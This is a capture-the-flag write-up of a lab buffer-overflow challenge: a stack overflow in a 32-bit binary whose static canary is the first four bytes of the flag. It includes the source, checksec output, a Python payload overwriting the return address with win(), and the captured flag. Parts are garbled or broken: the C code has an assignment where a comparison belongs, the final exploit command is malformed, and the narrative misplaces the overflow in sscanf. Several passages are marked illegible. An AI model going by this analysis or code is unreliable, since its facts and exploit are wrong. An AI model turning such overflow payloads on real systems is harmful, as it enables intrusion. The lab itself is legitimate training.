

We are solving offset-cycleV2, a hard-level binary exploitation challenge on cylab security academy. In this challenge, we must exploit a binary that has a buffer overflow vulnerability but has a canary that prevents the corruption of the return address.

This challenge does not give me a source file and binary to work with locally but instead gives me a means to connect to the instance via ssh. I run the command and connect to it.

```
❯ ssh -p 58423 ctf-player@dolphin-cove.picoctf.net
The authenticity of host '[dolphin-cove.picoctf.net]:58423 ([3.13.34.175]:58423)' can't be established.
ED25519 key fingerprint is: SHA256:0rQz0sKRE8Z7WciLN6TK6Aj+CxPgSPUM4xu47xWz4J8
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:20: [hashed name]
  ~/.ssh/known_hosts:22: [hashed name]
  ~/.ssh/known_hosts:23: [hashed name]
  ~/.ssh/known_hosts:24: [hashed name]
  ~/.ssh/known_hosts:25: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[dolphin-cove.picoctf.net]:58423' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ctf-player@dolphin-cove.picoctf.net's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 7.0.0-1009-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

-bash: cd: /home/ctf-player/drop-in/: No such file or directory
ctf-player@pico-chall$
```

When I run the 'ls' command to see the contents of the directory. This was the output:

```
ctf-player@pico-chall$ ls
CodeBank  instructions.txt  start
ctf-player@pico-chall$
```

'CodeBank' is a directory file that I don't have permission to read, so I concatenate the 'instructions.txt' file to see what was in it:

```
ctf-player@pico-chall$ cat instructions.txt
Hint:
- Run ./start to get a binary from the Code Bank
- You will get a C source file and a binary.
- Once the files are generated, you will have 80 seconds to exploit the binary.
- If the binary is exploited within the time limit, you will get the flag. Otherwise, the process has to be restarted.

ctf-player@pico-chall$
```

It is telling me to run the 'start' binary to access the binary and source code for the challenge. It tells me I only have 80 seconds to exploit the binary. If I don't exploit it in time, I must restart the whole process. As told, I run the 'start' binary, which gives me a source file to read and the binary we should exploit. I quick read over the source code reveals that there is a load_canary() function that runs, which copies the first 4 bytes of the flag file into a global variable called 'global_canary' which is also a buffer, then a vuln() function is called. Inside this vuln() function, there are three buffers: A 'local_canary' buffer, a 'buf' buffer, and a 'input' buffer. The 'input' and 'buf' buffers are the same size, while the 'local_canary' buffer is the same size as the 'global_canary' global buffer. The interesting part starts at the first call to 'sscanf()' function, which reads a set of numbers from the user and writes it into the 'input' buffer (it keeps reading as long as we keep supplying it integers), because sscanf(), like gets() and other insecure functions, does not check the size of the input, meaning it is vulnerable to a buffer overflow:

```
ctf-player@pico-chall$ cat 14.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 112
#define CANARY_SIZE 4
#define FLAGSIZE 64

char global_canary[CANARY_SIZE];

void win() {
    char flag[FLAGSIZE];
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    puts(flag);
}

void load_canary() {
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fread(global_canary, 1, CANARY_SIZE, f);
    fclose(f);
}
```

```

void vuln() {
    char local_canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char input[BUFSIZE];
    int count, i = 0;

    memcpy(local_canary, global_canary, CANARY_SIZE);

    printf("How many bytes?\n> ");
    while (i < BUFSIZE && read(0, &input[i], 1) = 1 && input[i] != '\n')
        i++;

    sscanf(input, "%d", &count);

    printf("Input> ");
    read(0, buf, count);

    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
        puts("**** Stack Smashing Detected ****");
        exit(0);
    }

    puts("Ok... Now Where's the flag?");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setresgid(getegid(), getegid(), getegid());

    load_canary();
    vuln();
    return 0;
}

```

Now it is clear what I should do, I should overflow the 'input' buffer, then overflow the 'buf' buffer (by overflowing adjacent memory), then the 'local_canary' buffer, get to the return address of the vuln() function, overwrite it to the win() function, and get the flag. I know what the address of the win() function is because the binary does not have PIE enabled, meaning its address at runtime is fixed, as is shown in the following screenshot:

```

ctf-player@pico-chall$ checksec --file=31
[*] '/home/ctf-player/31'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
ctf-player@pico-chall$

```

The address of the win() function is displayed below:

And then just before the end of the `vuln()` function, the program used `memcmp()` to check if the content of the 'global_canary' buffer was the same as the content of the 'local_canary' buffer:

```
if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
    puts("***** Stack Smashing Detected *****");
    exit(0);
}
```

Obviously, if I overwrite the 'local_canary' buffer, it will no longer have the same value as the 'global_canary' buffer, so it triggered the 'stack smashing detected' and exited. So, this canary stopped me from overwriting past it, preventing me from reaching the return address.

I re-analyzed the code and took a close look at the `load_canary()` function that runs just before the `vuln()` function does and I made a vital discovery: The entire `flag` is not what is copied into the 'global_canary' buffer, it is only `CANARY_SIZE` (i.e. 4 bytes). So, the content inside the 'global_canary' buffer and eventually the 'local_canary' buffer is 'pico'! As a proof of concept, I ran the program with `BUFSIZE*2` padding + 'pico' and there was no 'stack smashing detected' error message:

[illegible]

Now that I have identified what the canary is, I can bypass the comparison done by the `memcmp()` function by simply writing 'pico' after `BUFSIZE*2` of padding, allowing me to avoid getting the 'stack smashing detected' message and terminating the program.

Now it comes down to identifying where the return address is. I can simply try adding more '3's past pico to try and get a segmentation fault again. I took an extra 12 '3's to get another segmentation fault:

[illegible]

Did I overwrite the return address? I tried to make an exploit with python to try and get the flag with the assumption that I needed `BUFSIZE*2` padding + pico + 12 bytes of padding before supplying the address of the `win()` function, but it did not work. After trying adding byte by byte, I finally retrieved the flag with 16 bytes after 'pico', leading me to believe that I successfully overwrote the return address with the address of the `win()` function:

```
ctf-player@pico-chall$ python3 -c "import sys; sys.stdout.buffer.write(b'3'*609+2+b'pico'+b'3'*16+b'\x16\x93\x04\x08')*" | ./28
How many bytes?
> Input> Ok ... Now Where's the flag?
picoCTF{Y0U_AGa1n_Us3d_pwNt00L5_3181126a}
Segmentation fault (core dumped)
ctf-player@pico-chall$
```

p.s. If you are wondering why the name of the binary keeps changing, it is because I kept getting kicked out of the challenge instance once the 80 seconds were up xD

flag: picoCTF{Y0U_AGa1n_Us3d_pwNt00L5_3181126a}